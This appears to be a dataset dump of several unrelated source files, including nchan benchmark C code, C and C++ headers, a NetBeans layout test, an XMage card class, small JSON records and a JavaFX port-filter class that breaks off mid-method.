ngx_int_t nchan_benchmark_channel_id(int n, ngx_str_t *chid) {
static u_char id[255];
u_char *last;
chid->data = id;
last = ngx_snprintf(id, 255, "/benchmark.%T-%D.%D", bench.time.init, bench.id, n);
chid->len = last - id;
return NGX_OK;
}
uint64_t nchan_benchmark_message_delivery_msec(nchan_msg_t *msg) {
struct timeval tv;
ngx_gettimeofday(&tv);
uint64_t now = (tv.tv_sec - bench.time.init) * (uint64_t)1000000 + tv.tv_usec;
int then;
if(ngx_buf_in_memory((&msg->buf))) {
then = atoi((char *)msg->buf.start);
}
else {
//not supported yet
then = now;
raise(SIGABRT);
}
return now - then;
}
nchan_benchmark_t *nchan_benchmark_get_active(void) {
return &bench;
}
char throwaway_buf[128];
static void serialize_int64_t(int write, char **cur, int64_t val) {
char *buf;
buf = write ? *cur : throwaway_buf;
*cur += sprintf(buf, "%" PRId64 " ", val);
}
static void serialize_int32_t(int write, char **cur, int32_t val) {
char *buf;
buf = write ? *cur : throwaway_buf;
*cur += sprintf(buf, "%" PRId32 " ", val);
}
static void serialize_double(int write, char **cur, double val) {
char *buf;
buf = write ? *cur : throwaway_buf;
*cur += sprintf(buf, "%lf ", val);
}
static void serialize_numrun(int write, char **cur, int num, int runcount) {
char *numrun="~!@#$%^&*";
char *buf;
assert((size_t)num < strlen(numrun));
buf = write ? *cur : throwaway_buf;
if(runcount == 0) {
*cur += sprintf(buf, "%i ", num);
}
else {
*cur += sprintf(buf, "%c%i ", numrun[num], runcount);
}
}
size_t hdrhistogram_serialize(int write, char *start, const struct hdr_histogram* hdr) {
int i;
char *fakestart = NULL;
char **cur;
if(start == NULL) {
start = fakestart;
}
cur = &start;
char *first = start;
serialize_int64_t(write, cur, hdr->lowest_trackable_value);
serialize_int64_t(write, cur, hdr->highest_trackable_value);
serialize_int32_t(write, cur, hdr->unit_magnitude);
serialize_int32_t(write, cur, hdr->significant_figures);
serialize_int32_t(write, cur, hdr->sub_bucket_half_count_magnitude);
serialize_int32_t(write, cur, hdr->sub_bucket_half_count);
serialize_int64_t(write, cur, hdr->sub_bucket_mask);
serialize_int32_t(write, cur, hdr->sub_bucket_count);
serialize_int32_t(write, cur, hdr->bucket_count);
serialize_int64_t(write, cur, hdr->min_value);
serialize_int64_t(write, cur, hdr->max_value);
serialize_int32_t(write, cur, hdr->normalizing_index_offset);
serialize_double (write, cur, hdr->conversion_ratio);
serialize_int32_t(write, cur, hdr->counts_len);
serialize_int64_t(write, cur, hdr->total_count);
if(write) {
**cur='[';
}
(*cur)++;
int runcount=0;
int64_t ncur=0, nprev=0;
for(i=1, nprev=hdr->counts[0]; i<hdr->counts_len; i++) {
ncur = hdr->counts[i];
nprev = hdr->counts[i-1];
if(ncur <= 8 && ncur == nprev) {
runcount++;
}
else {
if(runcount > 0) {
serialize_numrun(write, cur, nprev, runcount+1);
runcount = 0;
}
else {
serialize_int64_t(write, cur, nprev);
}
}
}
if(runcount > 0) {
serialize_numrun(write, cur, ncur, runcount+1);
}
else {
serialize_int64_t(write, cur, ncur);
}
if(write) {
**cur=']';
}
(*cur)++;
return *cur - first;
}
ngx_str_t *nchan_hdrhistogram_serialize(const struct hdr_histogram* hdr, ngx_pool_t *pool) {
char *start=NULL;
ngx_str_t *str = ngx_palloc(pool, sizeof(*str));
size_t sz = hdrhistogram_serialize(0, NULL, hdr);
start = ngx_palloc(pool, sz);
hdrhistogram_serialize(1, start, hdr);
str->data = (u_char *)start;
str->len = sz;
return str;
}
static ngx_int_t benchmark_timer_ready_check(void *pd) {
uint64_t required_subs = bench.config->subscribers_per_channel * bench.config->channels;
if(*bench.shared.subscribers_enqueued == required_subs) {
char ready_reply[512];
assert(*bench.state == NCHAN_BENCHMARK_INITIALIZING);
*bench.state = NCHAN_BENCHMARK_READY;
ngx_snprintf((u_char *)ready_reply, 512, "READY\n"
"{\n"
" \"init_time\": %T,\n"
" \"time\": %T,\n"
" \"messages_per_channel_per_minute\": %d,\n"
" \"message_padding_bytes\": %d,\n"
" \"channels\": %d,\n"
" \"subscribers_per_channel\": %d\n"
"}\n%Z",
bench.time.init,
bench.config->time,
bench.config->msgs_per_minute,
bench.config->msg_padding,
bench.config->channels,
bench.config->subscribers_per_channel);
benchmark_client_respond(ready_reply);
bench.timer.ready = NULL;
return NGX_DONE;
}
else {
return NGX_AGAIN;
}
}
ngx_int_t nchan_benchmark_initialize_from_ipc(ngx_int_t initiating_worker_slot, nchan_loc_conf_t *cf, time_t init_time, uint32_t id, nchan_benchmark_shared_t *shared_data) {
DBG("init benchmark via IPC (time %d src %d)", init_time, initiating_worker_slot);
bench.loc_conf = cf;
bench.time.init = init_time;
bench.id = id;
bench.shared = *shared_data;
ngx_memzero(&bench.data, sizeof(bench.data));
hdr_init_nchan_shm(1, 10000000, 3, &bench.data.msg_delivery_latency);
hdr_init_nchan_shm(1, 10000000, 3, &bench.data.msg_publishing_latency);
hdr_init_nchan_shm(1, 10000000, 3, &bench.data.subscriber_readiness_latency);
nchan_benchmark_initialize();
return NGX_OK;
}
static ngx_int_t init_command_get_config_value(const char *config, ngx_str_t *cmd, ngx_int_t *val) {
ngx_str_t find;
u_char *cur = cmd->data, *end = cmd->data + cmd->len, *vend;
find.data = (u_char *)config;
find.len = strlen(config);
if(nchan_strscanstr(&cur, &find, end)) {
if((vend = memchr(cur, ' ', end - cur)) == NULL) {
vend = end;
}
if((*val = ngx_atoi(cur, vend - cur)) == NGX_ERROR) {
return 0;
}
else {
return 1;
}
}
return 0;
}
void benchmark_controller(subscriber_t *sub, nchan_msg_t *msg) {
ngx_str_t cmd = {msg->buf.last - msg->buf.pos, msg->buf.pos};
ngx_http_request_t *r = sub->request;
nchan_loc_conf_t *cf = ngx_http_get_module_loc_conf(r, ngx_nchan_module);
if(nchan_str_startswith(&cmd, "init")) {
int i;
ngx_int_t val;
if(!ngx_atomic_cmp_set((ngx_atomic_uint_t *)bench.state, NCHAN_BENCHMARK_INACTIVE, NCHAN_BENCHMARK_INITIALIZING)) {
benchmark_client_respond("ERROR: a benchmark is already initialized");
return;
}
DBG("init benchmark");
benchmark_client_respond("INITIALIZING");
bench.loc_conf = cf;
*bench.config = cf->benchmark;
if(init_command_get_config_value(" time=", &cmd, &val)) {
bench.config->time = val;
}
if(init_command_get_config_value(" messages_per_channel_per_minute=", &cmd, &val)) {
bench.config->msgs_per_minute = val;
}
if(init_command_get_config_value(" message_padding_bytes=", &cmd, &val)) {
bench.config->msg_padding = val;
}
if(init_command_get_config_value(" channels=", &cmd, &val)) {
bench.config->channels = val;
}
if(init_command_get_config_value(" subscribers_per_channel=", &cmd, &val)) {
bench.config->subscribers_per_channel = val;
}
bench.time.init = ngx_time();
bench.id = rand();
bench.client = sub;
ngx_memzero(&bench.data, sizeof(bench.data));
bench.shared.subscribers_enqueued = shm_calloc(nchan_store_memory_shmem, sizeof(ngx_atomic_t), "hdrhistogram subscribers_enqueued count");
bench.shared.subscribers_dequeued = shm_calloc(nchan_store_memory_shmem, sizeof(ngx_atomic_t), "hdrhistogram subscribers_dequeued count");
bench.shared.channels = shm_calloc(nchan_store_memory_shmem, sizeof(nchan_benchmark_channel_t) * bench.config->channels, "benchmark channel states");
hdr_init_nchan_shm(1, 10000000, 3, &bench.data.msg_delivery_latency);
hdr_init_nchan_shm(1, 10000000, 3, &bench.data.msg_publishing_latency);
hdr_init_nchan_shm(1, 10000000, 3, &bench.data.subscriber_readiness_latency);
for(i=0; i<bench.config->channels; i++) {
bench.shared.channels[i].n=i;
bench.shared.channels[i].msg_count=0;
}
bench.msgbuf = NULL;
//broadcast workload to other workers
memstore_ipc_broadcast_benchmark_initialize(&bench);
nchan_benchmark_initialize();
bench.timer.ready = nchan_add_interval_timer(benchmark_timer_ready_check, NULL, 250);
}
else if(nchan_strmatch(&cmd, 2, "run", "start")) {
if(!ngx_atomic_cmp_set((ngx_atomic_uint_t *)bench.state, NCHAN_BENCHMARK_READY, NCHAN_BENCHMARK_RUNNING)) {
benchmark_client_respond(*bench.state < NCHAN_BENCHMARK_READY ? "ERROR: not ready" : "ERROR: already running");
return;
}
bench.time.start = ngx_time();
benchmark_client_respond("RUNNING");
memstore_ipc_broadcast_benchmark_run();
nchan_benchmark_run();
bench.timer.running = nchan_add_oneshot_timer(benchmark_timer_running_stop, NULL, bench.config->time * 1000);
}
else if(nchan_strmatch(&cmd, 2, "finish", "end")) {
//benchmark_finish();
}
else if(nchan_strmatch(&cmd, 1, "abort")) {
if(nchan_benchmark_abort() == NGX_OK) {
memstore_ipc_broadcast_benchmark_abort();
benchmark_client_respond("ABORTED");
}
else {
benchmark_client_respond("ERROR: no active benchmark to abort");
}
}
else {
benchmark_client_respond("ERROR: unknown command");
}
}
void benchmark_request_cleanup_handler(void *pd) {
if(nchan_benchmark_abort() == NGX_OK) {
memstore_ipc_broadcast_benchmark_abort();
}
bench.client = NULL;
}
ngx_int_t nchan_benchmark_ws_initialize(ngx_http_request_t *r) {
nchan_msg_id_t newest_msgid = NCHAN_NEWEST_MSGID;
ngx_http_cleanup_t *cln;
if(!nchan_detect_websocket_request(r)) {
return NGX_HTTP_BAD_REQUEST;
}
if(nchan_benchmark_active()) {
return nchan_respond_cstring(r, NGX_HTTP_CONFLICT, &NCHAN_CONTENT_TYPE_TEXT_PLAIN, "benchmark already running", 0);
}
if(bench.client) {
return nchan_respond_cstring(r, NGX_HTTP_CONFLICT, &NCHAN_CONTENT_TYPE_TEXT_PLAIN, "benchmark client already running", 0);
}
if((cln = ngx_http_cleanup_add(r, 0)) == NULL) {
return NGX_HTTP_INTERNAL_SERVER_ERROR;
}
cln->data = NULL;
cln->handler = benchmark_request_cleanup_handler;
if((bench.client = websocket_subscriber_create(r, &newest_msgid)) == NULL) {
return NGX_HTTP_INTERNAL_SERVER_ERROR;
}
websocket_intercept_published_message(bench.client, &benchmark_controller);
bench.client->fn->enqueue(bench.client);
return NGX_DONE;
}
| 12,119 |
558 | /* SPDX-License-Identifier: Apache-2.0 */
/*
* Copyright (C) 2015-2020 Micron Technology, Inc. All rights reserved.
*/
#ifndef HSE_PLATFORM_DARRAY_H
#define HSE_PLATFORM_DARRAY_H
/*
* Darray provides a useful abstraction of a small dynamic array
* that holds pointers to things. It is optimized for the
* use case of an unknown, typically small and unique set of pointers
* that must be tracked as they are added.
*
* It is valid in kernel or user space, or code that is dual-homed.
*
* Its advantage over static arrays is:
* - Don't need to know (or care) about number of elements
* - It provides an append only unique values (idempotentcy)
* - It has an apply method over its active elements
* - It does not need to be initialized, but it can be.
*
* It should not:
* - replace static arrays in the normal case
* - be used for random access -- it is meant for append only
* - although it can, in limited scenarios -- see unit tests
*
* All functions return 0 on success, or ENOMEM on failure.
*/
struct darray {
void **arr; /* array of ptr elements */
int cur; /* current index */
int cap; /* capacity */
};
/**
* darray_init - allows for pre-allocation of a known quantity
* @da: ptr to the darray
* @cap: pre-allocate this many ptrs
*/
int
darray_init(struct darray *da, int cap);
/**
* darray_reset - resets current index to 0 and zeroes out ptr elements.
* @da: ptr to the darray
*/
void
darray_reset(struct darray *da);
/**
* darray_fini - deallocates the darray
* @da: ptr to the darray
*/
void
darray_fini(struct darray *da);
/**
* darray_append - append a new ptr to the array
* @da: ptr to the darray
* @p: ptr to add
*
* This function will automatically initialize and allocate
* sufficient space, or extend the allocation to allow appending.
*/
int
darray_append(struct darray *da, void *p);
/**
* darray_append_uniq - only append p if not already in array
* @da: ptr to the darray
* @p: ptr to append, only if it is not present
*
* Returns non-zero only if needed to allocate and could not.
* It does not indicate if the value was already present.
* NB: presently uses a linear scan -- do not use in hi perf path
*/
int
darray_append_uniq(struct darray *da, void *p);
/**
* darray_append_loc - return ptr to next avail location in array
* @da: ptr to the darray
*
* Returns ptr to void * location, or NULL if cannot expand array.
*/
void **
darray_append_loc(struct darray *da);
/**
* darray_len - returns number of elements in array
* @da: ptr to the darray
*/
int
darray_len(struct darray *da);
/**
* darray_arr - returns the array
* @da: ptr to the darray
*/
void *
darray_arr(struct darray *da);
typedef void (*darray_func)(void *);
/**
* darray_apply - applys func to each element of array
* @da: ptr to the darray
* @func: function to call for each array element
*/
void
darray_apply(struct darray *da, darray_func func);
/**
* darray_apply_rev - applys func to each element of array in reverse order
* @da: ptr to the darray
* @func: function to call for each array element
*/
void
darray_apply_rev(struct darray *da, darray_func func);
#endif
| 1,005 |
496 | /*
* Copyright (C) 2018 <NAME>
*
* Author: <NAME> <<EMAIL>>
*/
#ifndef LEXBOR_HTML_LEGEND_ELEMENT_H
#define LEXBOR_HTML_LEGEND_ELEMENT_H
#ifdef __cplusplus
extern "C" {
#endif
#include "lexbor/html/interface.h"
#include "lexbor/html/interfaces/element.h"
struct lxb_html_legend_element {
lxb_html_element_t element;
};
LXB_API lxb_html_legend_element_t *
lxb_html_legend_element_interface_create(lxb_html_document_t *document);
LXB_API lxb_html_legend_element_t *
lxb_html_legend_element_interface_destroy(lxb_html_legend_element_t *legend_element);
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif /* LEXBOR_HTML_LEGEND_ELEMENT_H */
| 285 |
1,056 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.form.layoutdesign;
import java.awt.Dimension;
import java.awt.Point;
import java.awt.Rectangle;
import java.io.File;
import java.io.IOException;
import java.util.*;
import org.openide.filesystems.FileUtil;
public class ALT_Bug203112Test extends LayoutTestCase {
public ALT_Bug203112Test(String name) {
super(name);
try {
className = this.getClass().getName();
className = className.substring(className.lastIndexOf('.') + 1, className.length());
startingFormFile = FileUtil.toFileObject(new File(url.getFile() + goldenFilesPath + className + "-StartingForm.form").getCanonicalFile());
} catch (IOException ioe) {
fail(ioe.toString());
}
}
/**
* Delete jSlider2.
*/
public void doChanges0() {
ld.externalSizeChangeHappened();
// > UPDATE CURRENT STATE
compBounds.put("Form", new Rectangle(0, 0, 706, 468));
contInterior.put("Form", new Rectangle(0, 0, 706, 468));
compBounds.put("jPanel1", new Rectangle(10, 11, 686, 446));
baselinePosition.put("jPanel1-686-446", new Integer(0));
contInterior.put("jPanel1", new Rectangle(10, 11, 686, 446));
compBounds.put("jButton1", new Rectangle(218, 377, 73, 23));
baselinePosition.put("jButton1-73-23", new Integer(15));
compBounds.put("jTextField1", new Rectangle(309, 378, 59, 20));
baselinePosition.put("jTextField1-59-20", new Integer(14));
compBounds.put("jScrollPane2", new Rectangle(20, 22, 348, 306));
baselinePosition.put("jScrollPane2-348-306", new Integer(0));
compBounds.put("jCheckBox2", new Rectangle(386, 22, 81, 23));
baselinePosition.put("jCheckBox2-81-23", new Integer(15));
compBounds.put("jCheckBox3", new Rectangle(386, 63, 81, 23));
baselinePosition.put("jCheckBox3-81-23", new Integer(15));
compBounds.put("jComboBox1", new Rectangle(386, 104, 56, 20));
baselinePosition.put("jComboBox1-56-20", new Integer(14));
compBounds.put("jSlider2", new Rectangle(386, 273, 200, 23));
baselinePosition.put("jSlider2-200-23", new Integer(0));
compMinSize.put("jPanel1", new Dimension(686, 446));
compBounds.put("jPanel1", new Rectangle(10, 11, 686, 446));
compPrefSize.put("jPanel1", new Dimension(686, 446));
prefPadding.put("jScrollPane2-jCheckBox2-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jScrollPane2-jCheckBox3-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jScrollPane2-jComboBox1-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jScrollPane2-jSlider2-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jCheckBox2-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jCheckBox3-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jComboBox1-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jSlider2-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
hasExplicitPrefSize.put("jPanel1", new Boolean(false));
prefPadding.put("jCheckBox2-jCheckBox3-1-0-0", new Integer(0)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-1", new Integer(3)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-2", new Integer(0)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
hasExplicitPrefSize.put("jPanel1", new Boolean(false));
compMinSize.put("Form", new Dimension(706, 468));
compBounds.put("Form", new Rectangle(0, 0, 706, 468));
compPrefSize.put("jPanel1", new Dimension(686, 446));
compPrefSize.put("jPanel1", new Dimension(686, 446));
ld.updateCurrentState();
// < UPDATE CURRENT STATE
lm.removeComponent("jSlider2", true);
prefPadding.put("jScrollPane2-jCheckBox2-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jScrollPane2-jCheckBox3-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jScrollPane2-jComboBox1-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jCheckBox2-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jCheckBox3-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jComboBox1-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-0", new Integer(0)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-1", new Integer(3)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-2", new Integer(0)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
ld.externalSizeChangeHappened();
// > UPDATE CURRENT STATE
compBounds.put("Form", new Rectangle(0, 0, 706, 468));
contInterior.put("Form", new Rectangle(0, 0, 706, 468));
compBounds.put("jPanel1", new Rectangle(10, 11, 686, 446));
baselinePosition.put("jPanel1-686-446", new Integer(0));
contInterior.put("jPanel1", new Rectangle(10, 11, 686, 446));
compBounds.put("jButton1", new Rectangle(218, 377, 73, 23));
baselinePosition.put("jButton1-73-23", new Integer(15));
compBounds.put("jTextField1", new Rectangle(309, 378, 59, 20));
baselinePosition.put("jTextField1-59-20", new Integer(14));
compBounds.put("jScrollPane2", new Rectangle(20, 22, 348, 306));
baselinePosition.put("jScrollPane2-348-306", new Integer(0));
compBounds.put("jCheckBox2", new Rectangle(386, 22, 81, 23));
baselinePosition.put("jCheckBox2-81-23", new Integer(15));
compBounds.put("jCheckBox3", new Rectangle(386, 63, 81, 23));
baselinePosition.put("jCheckBox3-81-23", new Integer(15));
compBounds.put("jComboBox1", new Rectangle(386, 104, 56, 20));
baselinePosition.put("jComboBox1-56-20", new Integer(14));
compMinSize.put("jPanel1", new Dimension(686, 446));
compBounds.put("jPanel1", new Rectangle(10, 11, 686, 446));
compPrefSize.put("jPanel1", new Dimension(686, 446));
prefPadding.put("jScrollPane2-jCheckBox2-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jScrollPane2-jCheckBox3-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jScrollPane2-jComboBox1-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jCheckBox2-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jCheckBox3-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jTextField1-jComboBox1-0-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
hasExplicitPrefSize.put("jPanel1", new Boolean(false));
prefPadding.put("jCheckBox2-jCheckBox3-1-0-0", new Integer(0)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-1", new Integer(3)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-2", new Integer(0)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
prefPadding.put("jCheckBox2-jCheckBox3-1-0-3", new Integer(18)); // comp1Id-comp2Id-dimension-comp2Alignment-paddingType
hasExplicitPrefSize.put("jPanel1", new Boolean(false));
compMinSize.put("Form", new Dimension(706, 468));
compBounds.put("Form", new Rectangle(0, 0, 706, 468));
compPrefSize.put("jPanel1", new Dimension(686, 446));
compPrefSize.put("jPanel1", new Dimension(686, 446));
ld.updateCurrentState();
// < UPDATE CURRENT STATE
}
}
| 3,906 |
12,940 | <gh_stars>1000+
{
"$schema": "https://aka.ms/azure-quickstart-templates-metadata-schema#",
"type": "QuickStart",
"itemDisplayName": "Azure Cognitive Search service",
"description": "This template creates an Azure Cognitive Search service",
"summary": "Provision an Azure Cognitive Search service",
"githubUsername": "HeidiSteen",
"docOwner": "HeidiSteen",
"dateUpdated": "2021-06-11"
}
| 131 |
340 | <filename>util/include/scope_exit.hpp
// Concord
//
// Copyright (c) 2021 VMware, Inc. All Rights Reserved.
//
// This product is licensed to you under the Apache 2.0 license (the "License").
// You may not use this product except in compliance with the Apache 2.0
// License.
//
// This product may include a number of subcomponents with separate copyright
// notices and license terms. Your use of these subcomponents is subject to the
// terms and conditions of the subcomponent's license, as noted in the
// LICENSE file.
// Modelled after std::experimental::scope_exit
// https://en.cppreference.com/w/cpp/experimental/scope_exit
#pragma once
#include <type_traits>
#include <utility>
namespace concord::util {
// The ScopeExit utility class calls a user-provided function when a scope is exited.
template <typename EF>
class ScopeExit {
public:
// Disable this perferct forwarding constructor as it can hide the move constructor in case the passed
// type is ScopeExit.
// Reported by clang-tidy:
// https://releases.llvm.org/5.0.1/tools/clang/tools/extra/docs/clang-tidy/checks/misc-forwarding-reference-overload.html
template <typename Fn, typename = std::enable_if_t<!std::is_same_v<std::decay_t<Fn>, ScopeExit>>>
explicit ScopeExit(Fn&& fn) noexcept : fn_{std::forward<Fn>(fn)} {}
ScopeExit(ScopeExit&& other) noexcept : active_{other.active_}, fn_{std::move(other.fn_)} { other.release(); }
~ScopeExit() noexcept {
if (active_) {
fn_();
}
}
void release() noexcept { active_ = false; }
ScopeExit(const ScopeExit&) = delete;
ScopeExit& operator=(const ScopeExit&) = delete;
ScopeExit& operator=(ScopeExit&&) = delete;
private:
bool active_{true};
EF fn_;
};
// Deduction guide, allowing code such as:
// auto s = ScopeExit{[] () {}};
template <typename EF>
ScopeExit(EF)->ScopeExit<EF>;
} // namespace concord::util
| 600 |
1,444 | package mage.cards.i;
import mage.abilities.Ability;
import mage.abilities.SpellAbility;
import mage.abilities.common.SagaAbility;
import mage.abilities.common.delayed.ReflexiveTriggeredAbility;
import mage.abilities.costs.common.RevealTargetFromHandCost;
import mage.abilities.effects.common.DamageTargetEffect;
import mage.abilities.effects.common.DoWhenCostPaid;
import mage.abilities.effects.common.DrawCardSourceControllerEffect;
import mage.abilities.effects.common.cost.CostModificationEffectImpl;
import mage.abilities.effects.keyword.ScryEffect;
import mage.cards.Card;
import mage.cards.CardImpl;
import mage.cards.CardSetInfo;
import mage.constants.*;
import mage.filter.FilterCard;
import mage.game.Game;
import mage.game.events.GameEvent;
import mage.game.stack.Spell;
import mage.target.common.TargetCardInHand;
import mage.target.common.TargetOpponentOrPlaneswalker;
import mage.util.CardUtil;
import mage.watchers.Watcher;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
/**
* @author TheElk801
*/
public final class InvasionOfTheGiants extends CardImpl {
private static final FilterCard filter = new FilterCard("a Giant card from your hand");
static {
filter.add(SubType.GIANT.getPredicate());
}
public InvasionOfTheGiants(UUID ownerId, CardSetInfo setInfo) {
super(ownerId, setInfo, new CardType[]{CardType.ENCHANTMENT}, "{U}{R}");
this.subtype.add(SubType.SAGA);
// (As this Saga enters and after your draw step, add a lore counter. Sacrifice after III.)
SagaAbility sagaAbility = new SagaAbility(this, SagaChapter.CHAPTER_III);
// I — Scry 2.
sagaAbility.addChapterEffect(this, SagaChapter.CHAPTER_I, new ScryEffect(2));
// II — Draw a card. Then you may reveal a Giant card from your hand. When you do, Invasion of the Giants deals 2 damage to target opponent or planeswalker.
ReflexiveTriggeredAbility ability = new ReflexiveTriggeredAbility(
new DamageTargetEffect(2), false,
"{this} deals 2 damage to target opponent or planeswalker"
);
ability.addTarget(new TargetOpponentOrPlaneswalker());
sagaAbility.addChapterEffect(
this, SagaChapter.CHAPTER_II,
new DrawCardSourceControllerEffect(1),
new DoWhenCostPaid(
ability,
new RevealTargetFromHandCost(new TargetCardInHand(filter)),
"Reveal a Giant card from your hand?"
).concatBy("Then")
);
// III — The next Giant spell you cast this turns costs {2} less to cast.
sagaAbility.addChapterEffect(this, SagaChapter.CHAPTER_III, new InvasionOfTheGiantsEffect());
this.addAbility(sagaAbility, new InvasionOfTheGiantsWatcher());
}
private InvasionOfTheGiants(final InvasionOfTheGiants card) {
super(card);
}
@Override
public InvasionOfTheGiants copy() {
return new InvasionOfTheGiants(this);
}
}
class InvasionOfTheGiantsEffect extends CostModificationEffectImpl {
private int spellsCast;
InvasionOfTheGiantsEffect() {
super(Duration.EndOfTurn, Outcome.Benefit, CostModificationType.REDUCE_COST);
staticText = "the next Giant spell you cast this turn costs {2} less to cast";
}
private InvasionOfTheGiantsEffect(final InvasionOfTheGiantsEffect effect) {
super(effect);
this.spellsCast = effect.spellsCast;
}
@Override
public void init(Ability source, Game game) {
super.init(source, game);
InvasionOfTheGiantsWatcher watcher = game.getState().getWatcher(InvasionOfTheGiantsWatcher.class);
if (watcher != null) {
spellsCast = watcher.getCount(source.getControllerId());
}
}
@Override
public boolean apply(Game game, Ability source, Ability abilityToModify) {
CardUtil.reduceCost(abilityToModify, 2);
return true;
}
@Override
public boolean applies(Ability abilityToModify, Ability source, Game game) {
InvasionOfTheGiantsWatcher watcher = game.getState().getWatcher(InvasionOfTheGiantsWatcher.class);
if (watcher == null) {
return false;
}
if (watcher.getCount(source.getControllerId()) > spellsCast) {
discard(); // only one use
return false;
}
if (!(abilityToModify instanceof SpellAbility)
|| !abilityToModify.isControlledBy(source.getControllerId())) {
return false;
}
Card spellCard = ((SpellAbility) abilityToModify).getCharacteristics(game);
return spellCard != null && spellCard.hasSubtype(SubType.GIANT, game);
}
@Override
public InvasionOfTheGiantsEffect copy() {
return new InvasionOfTheGiantsEffect(this);
}
}
class InvasionOfTheGiantsWatcher extends Watcher {
private final Map<UUID, Integer> playerMap = new HashMap<>();
InvasionOfTheGiantsWatcher() {
super(WatcherScope.GAME);
}
@Override
public void watch(GameEvent event, Game game) {
if (event.getType() != GameEvent.EventType.SPELL_CAST) {
return;
}
Spell spell = game.getSpell(event.getSourceId());
if (spell != null && spell.hasSubtype(SubType.GIANT, game)) {
playerMap.compute(event.getPlayerId(), (u, i) -> i == null ? 1 : Integer.sum(i, 1));
}
}
@Override
public void reset() {
super.reset();
playerMap.clear();
}
int getCount(UUID playerId) {
return playerMap.getOrDefault(playerId, 0);
}
}
| 2,171 |
348 | {"nom":"Boussan","circ":"8ème circonscription","dpt":"Haute-Garonne","inscrits":209,"abs":83,"votants":126,"blancs":14,"nuls":2,"exp":110,"res":[{"nuance":"SOC","nom":"M. <NAME>","voix":78},{"nuance":"REM","nom":"M. <NAME>","voix":32}]} | 97 |
995 | package ui.fingerprint.filters;
import core.fingerprint3.ObjectFactory;
import javafx.beans.property.SimpleObjectProperty;
import javafx.geometry.Pos;
import javafx.scene.control.Label;
import javafx.scene.control.TextField;
import javafx.scene.layout.HBox;
import ui.fingerprint.FingerPrintGui;
import javax.xml.bind.JAXBElement;
public class DestPortFilter implements Filter<Integer> {
private final static int DEFAULT_PORT = 80;
private final static int MAX_VALUE = 65535;
private final static int MIN_VALUE = 0;
private int port;
private ObjectFactory factory;
private SimpleObjectProperty<JAXBElement<Integer>> element;
public DestPortFilter(JAXBElement<Integer> value) {
factory = new ObjectFactory();
element = new SimpleObjectProperty<>();
if (null == value) {
port = DEFAULT_PORT;
element.setValue(factory.createFingerprintFilterDstPort(port));
} else {
port = value.getValue();
element.setValue(value);
}
}
public DestPortFilter() {
this(null);
}
@Override
public HBox getInput() {
HBox inputBox = new HBox();
Label portLabel = new Label("Port:");
TextField portField = new TextField();
portField.setText(Integer.toString(port));
portField.textProperty().addListener((observable, oldValue, newValue) -> {
if (!oldValue.equals(newValue)) {
//don't allow wrong entries
